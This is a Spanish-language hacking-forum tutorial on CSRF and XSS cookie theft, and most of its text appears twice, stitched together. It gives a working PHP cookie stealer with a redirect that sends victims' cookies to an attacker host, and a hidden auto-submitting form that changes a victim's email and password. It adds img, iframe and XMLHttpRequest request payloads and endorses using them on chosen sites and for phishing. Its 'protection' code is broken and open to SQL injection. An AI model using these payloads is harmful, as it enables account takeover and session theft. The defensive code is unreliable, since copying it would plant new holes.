Bueno ahora usaremos una forma de XSRF clasico, pero no de robo si no de CAMBIO de datos, que seria primero como dije probar si el server es vulnerable a JAVASCRIPT, o si no filtra bien el contenido de los BBCODES, o los inputs mal programados, o tambien podriamos atacar normal, sin que el usuario sepa que es un ataque.



Podriamos atacar sin que la victima sepa que es malo asi (dependiendo de la pagina):



<form action="formulario" action="http://victima.com/perfil.php" method="POST">
<input type="hidden" name="email" value="tuemail@hotmail.com">
<input type="hidden" name="passwirdl" value="minuevopassword">
<input type="hidden" name="submit" value="enviar">

<script>document.submit();</script>




Como dije depende de la web, SI EL SITE NO TIENE AL CAMBIAR DATOS, REPITE EL EMAIL o CONTRASEÑA es vulnerable y tambien de los input "name=NOMBRE" del site. La victima no sabe que le hemos cambiado el email...



Tambien si al cambiar datos salga un link como este:



[quote]http://www.web.com/perfil.php?user=NOMBREUSUARIONUEVO&mail=minuevomail@hotmail.com&pass=minuevopass[/quote]




Es super hiper mega vulnerable ya que notamos que no dice en el link a cambiar: PASSANTERIOR o EMAILANTERIOR... y que pasa si le mandamos un MP (Mensaje Privado) depende claro si es un foro con un link como este:



Man vota por mi



Y al hacer click en cualquiera de los ejemplos los datos han sido cambiados..



Espero que les haya gustado mi parte en este bonito tutorial creado por mi bro ShadinessDark y puedan entender la diferencia entre XSS (El robo de cookies) y CSRF...






5.)Testeando vulnerabilidad CSRF y programas el code vulnerable



Los ataques csrf lo reproducen por etiquetas HTML/JAVASCRIPT o una

Imagen, daré un breve ejemplo:



Un ejemplo nos envían un correo electrónico o un MP en algún foro cuyo propósito

Del atacante es que al darle clic realiza una solicitud a una URL del atacante les Mostrare un ejemplo:




Por ejemplo usando una imagen src.

<img src="http://Www.xD.com/?Comando">



Script

<script src="http://Www.xD.com/?Comando">



Casi siempre se usan los IFRAME



<iframe src="http://Www.xD.com/?Comando">




Los ejemplos de arribas son dados con HTML ahora les doy el ejemplo de los de Javascript



<script>

var foo = new Image(); var foo = new Image ();

foo.src = "http://Www.xD.com/?Comando";</script>



También se puede hacer por XHTML pero hay que usar IE y bueno esa no se las explicare en este tutorial y si quieren me avisan y bueno lo modifico, Claro que existen muchas formas Vbscript – Actionscript – HTML – Javascript - JScript y otros que utilizan de marcado en los navegadores de los usuarios que hacen

Realizar peticiones REMOTAS.




¿Cambiando datos de la victima?




Bueno este breve codigo es solo un pequeño ejemplo:



<script>

var post_data = 'name=value'; post_data var = 'nombre = valor';

var xmlhttp=new XMLHttpRequest(); var xmlhttp = new XMLHttpRequest ();

xmlhttp.open("POST", 'http://www.xD.com/path/file.ext', true); xmlhttp.open ( "POST", "http://www.xD.com/path/file.ext ', true);

xmlhttp.onreadystatechange = function () { xmlhttp.onreadystatechange = function () (


if (xmlhttp.readyState == 4) if (xmlhttp.readyState == 4)

{ (

alert(xmlhttp.responseText); alert (xmlhttp.responseText);

} )

}; );

xmlhttp.send(post_data); xmlhttp.send (post_data);

</script> </ script>




Como podemos ver en este código hacemos una petición a POST

Acuérdense que arriba les comente que cuando el atacante usa un código

Malicioso hace una petición en Get. Post y HTTP ¿Se acuerdan? Espero y me vayan entendiendo...



¿A dónde se dirige esta petición?



Bueno esta petición se dirige a la base de datos del sitio me explico

Cada vez que hacemos cambios extremos en nuestro perfil todo pasa

Por una base de datos bueno cuando la victima le da clic a la url enviada

Por el atacante hace una petición en la base de datos y cambia los datos de la cuenta


De la victima de confianza por el atacante ¿Me van entendiendo a que se debe este ataque?



7.) Sacando una conclusión a todo.



Mirando la lógica a todo este ataque se basa en un código malicioso que es muy usado, HTML Y Javascript.



Es un tipo de ataque que por parte de HTML usamos la etiqueta src y en javascript Usamos la misma etiqueta este ataque es basado en darle clic a un vinculo al Redireccionar la Web y cargar cambia la información que de nuestro usuario.

Haciendo una petición en la base de datos del código del atacante…



8.) Como cuidar nuestra Web de este tipo de ataques





Primero que nada vamos a nuestro FTP introducimos nuestros datos y entramos a la Carpeta public_html o donde este el archivo index.php le añadiremos algo que diga

‘Actualcontraseña’ Antes de seguir el código que pondré es sacado de la siguiente pagina De aquí



Después que estemos en el index.php introduciremos este código con el Actualcontraseña esto tiene que ir dentro de <?php…

<form method="POST" action="datos.php" name="datos">
Usuario <input type="text" name="usuario">
Email <input type="text" name="email">

Contraseña <input type="text" name="contraseña">
Email alternativo: <input type="text" name="emailalternativo">
Contraseña Actual: <input type="text" name="actualcontraseña">
<input type="submit" name="submit" value="cambiardatos">
</form>





Luego buscamos el archive que se llama Config.php lo pueden encontrar

Por el mismo FTP y le agregamos lo siguiente:



<?php

$bd_host = "localhost";
$bd_usuario = "user";
$bd_password = "pass";
$bd_base = "bd";

$con = mysql_connect($bd_host, $bd_usuario, $bd_password); mysql_select_db($bd_base, $con);

?>




En el archive datos.php usaremos lo siguiente:



<?

include('config.php');

session_start();
if(isset($_REQUEST['usuario']))
$usuario = $_REQUEST['usuario'];
else
die("Rellene el campo Usuario");
if(isset($_REQUEST['email']))
$email = $_REQUEST['email];
else
die("Rellene el campo email");
if(isset($_REQUEST['contraseña']))
$contraseña = $_REQUEST['contraseña];
else
die("Rellene el campo Contraseña");
if(isset($_REQUEST['emailalternativo']))
$emailalternativo = $_REQUEST['emailalternativo];
else
die("Falta el email alternativo");
if(isset($_REQUEST['actualcontraseña']))
$actualcontraseña = $_REQUEST['actualcontraseña];
else
die("Especifique la contraseña");

if ($actualcontraseña==NULL) {
echo "Especifique su contraseña Actual";

}else{

$query = mysql_query("SELECT usuario,actualcontraseña FROM myhosting_usuarios WHERE username = '$usuario'") or die(mysql_error());
$data = mysql_fetch_array($query);
if($data['contraseñaa'] != $actualcontraseña) {
echo "Contraseña Actual Inavalida";
}else{

CambiarDatos($usuario, $email, $contraseña, $emailalternativo);

?>




Ahora vamos a nuestro panel entramos a PHPMYADMIN ósea a nuestro phpmyadmin


Y le damos donde dice Consulta y introducen el siguiente código:

CREATE TABLE 'myhosting_usuarios' (
'id' int(11) NOT NULL auto_increment,
'usuario' varchar(15) NOT NULL,
'email' varchar(15) NOT NULL,
'emailalternativo' varchar(15) NOT NULL,
'contraseña' varchar(150) NOT NULL,
'contraseñaa' varchar(150) NOT NULL,
KEY 'id' ('id')
) ENGINE=MyISAM;

INSERT INTO 'myhosting_usuarios' VALUES (1, 'SecurityKill', 'mymail@gmail.com', 'mymail2@gmail.com', 'mypass', 'mypass');






9.) Despedida



Bueno señores ya hemos terminado este tutorial quizás muchos no entendieron

Y otros si me entendieron traten de hacer lo mejor por dar una buena explicación

Pero recuerden que no todo se pone tan fácil, Bueno en este tutorial compartí gran

Parte con mi hermano zero bits que su parte quedo maravillosa lo se porque lo lei


Me gustan las críticas así que espero las críticas tutorial escrito a mano todo los derechos del autor reservados y los códigos no todos son nuestros por eso hemos

Puesto en algunos la fuente les deseo un gran fin de semana…



No pongo mi sitio Web porque siempre los Web Master andan con el trauma de que

Hacemos Spam como si con eso piensan que acabaran el Spam sueñen un rato…



Group’s Ethical.



Zero Bits

KuTer


Jeferx

Darki113r

_84kur10_

ShadinessDark



Mi team V1rtu@l VIRu$ Bl@ck Team

[Tutorial] Vulnerabilidad CSRF By ShadinessDark [Colaboracion de Zero Bits]

Este tutorial fue hecho por un AMIGO en cual colabore y aca se los dejo:


Inicio Tutorial Cross Site Request Forgery By ShadinessDark = Zero Bits




1.) Presentación



2.) Que es CSRF



3.) Quien descubrió la vulnerabilidad CSRF




4.) CSRF y Xss



5) Robo de Cookies en XSS & CSRF (Diferencia) - Colaboracion de Zero Bits



6.) Testeando vulnerabilidad CSRF y programas el code vulnerable



7.) Sacando una conclusión a todo



8.) Como cuidar nuestra Web de este tipo de ataques




9.) Despedida





1.) Presentación



Primero que nada este tutorial va dedicado a mis amigos de BugDox y a todo los Lectores especialmente a los que no les caigo bien, muchos me harán criticas Y eso es Bueno porque Uds. Me corrigen como muchos saben yo me retire del DEFACING no Es que yo sea conocido ni nada por el estilo este tutorial lo he hecho de manera especial

Para dar la diferencia de otros tutoriales que he visto en la red…



¿Por qué diferente?



Porque la mayoría de los tutoriales visto en la red son poco explicados para iniciados




¿A que se debe este tutorial?



Bueno este tutorial no puedo decir que lo hago con el fin de bien lo hago para bien y Para mal lo hago con concepto de cómo explotarlo y concepto de cómo arreglarlo

No es mi culpa que un Web Master no me haga caso ¿Verdad?



Los saludos más especiales para mis compañeros:



Zero Bits

KuTer

Jeferx


Darki113r

_84kur10_

Z1z30f

Kozmic.Kizz




2.) Que es CSRF



Bueno como muchos quizás han leído en la wikipedia ya csrf representa a

Cross Site Request Forgery el ataque se efectúa cuando por ejemplo Vemos algo

Así Presiona este link para que te lleve a mi sitio


Siempre el atacante usa como victima a un usuario que le brinda confianza la Web.

Los que tenemos foros sabemos que cada usuario tiene como destino un perfil donde

Cambiamos contraseña – email – nombre de usuario y otras cositas casi siempre el Atacante usa un código malicioso para hacer una petición en {GET – Post – HTTP}

Con esta vulnerabilidad el atacante le puede cambiar a la victima su información de PERFIL.



3.) Quien descubrió la vulnerabilidad CSRF



En el 1988 Hardy Norma publico un documento que explique una solicitud cuestión nivel de confianza que llamo un

Diputado confuso. En 2000, un correo a bugtraq explico Zope fue afectado por un problema confuso

Web diputado que se define hoy como una vulnerabilidad CSRF mas tarde en el 2001 Peter Watkins publico una entrada


En la lista de correo bugtraq acuñar el termino CSRF en respuesta a otro hilo titulado

Los peligros de permitir a los usuarios colocar imágenes en los sitios Web.



Bueno sobre quien lo descubrio ese credito si no me toca a mi esa parte es de Aqui solo lo logre traducir...



4.) CSRF y Xss



Quizás muchas personas nos preguntamos o se preguntan si esta vulnerabilidad

Es parecida o igual a xss.




Les explico bueno xss se aprovecha de la confianza de la victima que tiene el sitio

Web o aplicación el usuario lea ae contenido que aparece en su navegador que esta destinada y representada por el sitio Web que se esta viendo.



El csrf se aprovecha de la confianza que el sitio tiene para la victima ósea usuario…



4.1) Robo de Cookies en XSS & CSRF (Diferencia) - Colaboracion de Zero Bits



Bueno hay un metodo en XSS que algunos amigos me han dicho que se parece a el XSRF o CSRF, que son el ROBO DE COOKIES EN XSS y el CSRF, la verdad es que no ya que, el robo de cookies por xss como su nombre lo indica roba las cookies de cualquier usuario o administrador del sitio y el CSRF se encarga de ROBAR, VER y CAMBIAR cualquier informacion dependiendo de la victima que caiga.




Vamos a ver un ROBO DE COOKIES EN XSS y un ataque CSRF clasico, para que vean un poco la diferencia...



- ROBO DE COOKIES EN XSS



Primero tendriamos que saber si el server es vulnerable a XSS o tambien podriamos probar que el code

[code ][url ] o [img ] [/code ]

no filtre bien el contenido que se le asigne.



Para algunos que no entienden lo de [code ][url ] y [img ][/code ] es cuando dentro del [code ][url ][/code ] agregariamos un link como [code ]"javascript:alert("xss")"[/code ] y cuando se le de click se ejecute hay mismo, tambien podriamos agregar XSS con codes HEXADECIMALES (ya esto es otro tema, asi que no lo explicare).



Bueno, en otro servidor aparte (que seria el nuestro) codeariamos un programa en PHP que se encargue de recibir al usuario victima y robarle las cookies apenas entre (Para esto se necesita saber por lo menos PHP BASICO)




<?
$cookie = $_REQUEST[cookie];
$file=fopen("cookies.txt", "a");
fput($file, "$cookie\n");
fclose($file);
?>




PD: Este code no es mio es de Chebyte. Pero esto es basico...



Bueno, le explicare el code para quienes no lo entiendan:



$cookie = $_REQUEST[cookie] : El que recibe la cookie

$file=fopen("cookies.txt", "a") : Crea el archivo cookies.txt para lectura

fput($file, "$cookie\n") : Muestra la cookie


fclose($file) : Cierra



Podriamos guardarlo "robador.php" y ahora faltaria el code que redireccione a este CODE:



<script>self.location='e);"target=" _blank">http://TuWeb.com/robador.php?c='+scape(document.cookie)</script>




Y Tachan! tienes la cookie...



Bueno antes que nada les dire lo SCRIPT KIDDIE y BUENO de este metodo:




1. SCRIPT KIDDIE: Usar este metodo contra webs de Hacking

2. NO-LAMMER: Usar contra sites malos como: Porno, Pedofilia, Estafadores, Enemigos, EMOS!!!, etc..

3. SCRIPT KIDDIE: Aprender este metodo unicamente sin saber como funciona

4. NO-LAMMER: Aprender JAVASCRIPT, HTML y PHP

5. MEDIO: Usarla para Phishing [Es malo y es bueno xD, pero no es lammer]

5. SCRIPT KIDDIE: Hacking MSN -.-"



Ahora pasaremos a hablar del CSRF clasico:




- XSRF/CSRF Clasico



Bueno ahora usaremos una forma de XSRF clasico, pero no de robo si no de CAMBIO de datos, que seria primero como dije probar si el server es vulnerable a JAVASCRIPT, o si no filtra bien el contenido de los BBCODES, o los inputs mal programados, o tambien podriamos atacar normal, sin que el usuario sepa que es un ataque.



Podriamos atacar sin que la victima sepa que es malo asi (dependiendo de la pagina):



<form action="formulario" action="http://victima.com/perfil.php" method="POST">
<input type="hidden" name="email" value="tuemail@hotmail.com">
<input type="hidden" name="passwirdl" value="minuevopassword">
<input type="hidden" name="submit" value="enviar">

<script>document.submit();</script>




Como dije depende de la web, SI EL SITE NO TIENE AL CAMBIAR DATOS, REPITE EL EMAIL o CONTRASEÑA es vulnerable y tambien de los input "name=NOMBRE" del site. La victima no sabe que le hemos cambiado el email...



Tambien si al cambiar datos salga un link como este:



[quote]http://www.web.com/perfil.php?user=NOMBREUSUARIONUEVO&mail=minuevomail@hotmail.com&pass=minuevopass[/quote]




Es super hiper mega vulnerable ya que notamos que no dice en el link a cambiar: PASSANTERIOR o EMAILANTERIOR... y que pasa si le mandamos un MP (Mensaje Privado) depende claro si es un foro con un link como este:



Man vota por mi



Y al hacer click en cualquiera de los ejemplos los datos han sido cambiados..



Espero que les haya gustado mi parte en este bonito tutorial creado por mi bro ShadinessDark y puedan entender la diferencia entre XSS (El robo de cookies) y CSRF...






5.)Testeando vulnerabilidad CSRF y programas el code vulnerable



Los ataques csrf lo reproducen por etiquetas HTML/JAVASCRIPT o una

Imagen, daré un breve ejemplo:



Un ejemplo nos envían un correo electrónico o un MP en algún foro cuyo propósito

Del atacante es que al darle clic realiza una solicitud a una URL del atacante les Mostrare un ejemplo:




Por ejemplo usando una imagen src.

<img src="http://Www.xD.com/?Comando">



Script

<script src="http://Www.xD.com/?Comando">



Casi siempre se usan los IFRAME



<iframe src="http://Www.xD.com/?Comando">




Los ejemplos de arribas son dados con HTML ahora les doy el ejemplo de los de Javascript



<script>

var foo = new Image(); var foo = new Image ();

foo.src = "http://Www.xD.com/?Comando";</script>



También se puede hacer por XHTML pero hay que usar IE y bueno esa no se las explicare en este tutorial y si quieren me avisan y bueno lo modifico, Claro que existen muchas formas Vbscript – Actionscript – HTML – Javascript - JScript y otros que utilizan de marcado en los navegadores de los usuarios que hacen

Realizar peticiones REMOTAS.




¿Cambiando datos de la victima?




Bueno este breve codigo es solo un pequeño ejemplo:



<script>

var post_data = 'name=value'; post_data var = 'nombre = valor';

var xmlhttp=new XMLHttpRequest(); var xmlhttp = new XMLHttpRequest ();

xmlhttp.open("POST", 'http://www.xD.com/path/file.ext', true); xmlhttp.open ( "POST", "http://www.xD.com/path/file.ext ', true);

xmlhttp.onreadystatechange = function () { xmlhttp.onreadystatechange = function () (


if (xmlhttp.readyState == 4) if (xmlhttp.readyState == 4)

{ (

alert(xmlhttp.responseText); alert (xmlhttp.responseText);

} )

}; );

xmlhttp.send(post_data); xmlhttp.send (post_data);

</script> </ script>




Como podemos ver en este código hacemos una petición a POST

Acuérdense que arriba les comente que cuando el atacante usa un código

Malicioso hace una petición en Get. Post y HTTP ¿Se acuerdan? Espero y me vayan entendiendo...



¿A dónde se dirige esta petición?



Bueno esta petición se dirige a la base de datos del sitio me explico

Cada vez que hacemos cambios extremos en nuestro perfil todo pasa

Por una base de datos bueno cuando la victima le da clic a la url enviada

Por el atacante hace una petición en la base de datos y cambia los datos de la cuenta


De la victima de confianza por el atacante ¿Me van entendiendo a que se debe este ataque?



7.) Sacando una conclusión a todo.



Mirando la lógica a todo este ataque se basa en un código malicioso que es muy usado, HTML Y Javascript.



Es un tipo de ataque que por parte de HTML usamos la etiqueta src y en javascript Usamos la misma etiqueta este ataque es basado en darle clic a un vinculo al Redireccionar la Web y cargar cambia la información que de nuestro usuario.

Haciendo una petición en la base de datos del código del atacante…



8.) Como cuidar nuestra Web de este tipo de ataques





Primero que nada vamos a nuestro FTP introducimos nuestros datos y entramos a la Carpeta public_html o donde este el archivo index.php le añadiremos algo que diga

‘Actualcontraseña’ Antes de seguir el código que pondré es sacado de la siguiente pagina De aquí



Después que estemos en el index.php introduciremos este código con el Actualcontraseña esto tiene que ir dentro de <?php…

<form method="POST" action="datos.php" name="datos">
Usuario <input type="text" name="usuario">
Email <input type="text" name="email">

Contraseña <input type="text" name="contraseña">
Email alternativo: <input type="text" name="emailalternativo">
Contraseña Actual: <input type="text" name="actualcontraseña">
<input type="submit" name="submit" value="cambiardatos">
</form>





Luego buscamos el archive que se llama Config.php lo pueden encontrar

Por el mismo FTP y le agregamos lo siguiente:



<?php

$bd_host = "localhost";
$bd_usuario = "user";
$bd_password = "pass";
$bd_base = "bd";

$con = mysql_connect($bd_host, $bd_usuario, $bd_password); mysql_select_db($bd_base, $con);

?>




En el archive datos.php usaremos lo siguiente:



<?

include('config.php');

session_start();
if(isset($_REQUEST['usuario']))
$usuario = $_REQUEST['usuario'];
else
die("Rellene el campo Usuario");
if(isset($_REQUEST['email']))
$email = $_REQUEST['email];
else
die("Rellene el campo email");
if(isset($_REQUEST['contraseña']))
$contraseña = $_REQUEST['contraseña];
else
die("Rellene el campo Contraseña");
if(isset($_REQUEST['emailalternativo']))
$emailalternativo = $_REQUEST['emailalternativo];
else
die("Falta el email alternativo");
if(isset($_REQUEST['actualcontraseña']))
$actualcontraseña = $_REQUEST['actualcontraseña];
else
die("Especifique la contraseña");

if ($actualcontraseña==NULL) {
echo "Especifique su contraseña Actual";

}else{

$query = mysql_query("SELECT usuario,actualcontraseña FROM myhosting_usuarios WHERE username = '$usuario'") or die(mysql_error());
$data = mysql_fetch_array($query);
if($data['contraseñaa'] != $actualcontraseña) {
echo "Contraseña Actual Inavalida";
}else{

CambiarDatos($usuario, $email, $contraseña, $emailalternativo);

?>




Ahora vamos a nuestro panel entramos a PHPMYADMIN ósea a nuestro phpmyadmin


Y le damos donde dice Consulta y introducen el siguiente código:

CREATE TABLE 'myhosting_usuarios' (
'id' int(11) NOT NULL auto_increment,
'usuario' varchar(15) NOT NULL,
'email' varchar(15) NOT NULL,
'emailalternativo' varchar(15) NOT NULL,
'contraseña' varchar(150) NOT NULL,
'contraseñaa' varchar(150) NOT NULL,
KEY 'id' ('id')
) ENGINE=MyISAM;

INSERT INTO 'myhosting_usuarios' VALUES (1, 'SecurityKill', 'mymail@gmail.com', 'mymail2@gmail.com', 'mypass', 'mypass');






9.) Despedida



Bueno señores ya hemos terminado este tutorial quizás muchos no entendieron

Y otros si me entendieron traten de hacer lo mejor por dar una buena explicación

Pero recuerden que no todo se pone tan fácil, Bueno en este tutorial compartí gran

Parte con mi hermano zero bits que su parte quedo maravillosa lo se porque lo lei


Me gustan las críticas así que espero las críticas tutorial escrito a mano todo los derechos del autor reservados y los códigos no todos son nuestros por eso hemos

Puesto en algunos la fuente les deseo un gran fin de semana…



No pongo mi sitio Web porque siempre los Web Master andan con el trauma de que

Hacemos Spam como si con eso piensan que acabaran el Spam sueñen un rato…



Group’s Ethical.



Zero Bits

KuTer


Jeferx

Darki113r

_84kur10_

ShadinessDark



Mi team V1rtu@l VIRu$ Bl@ck Team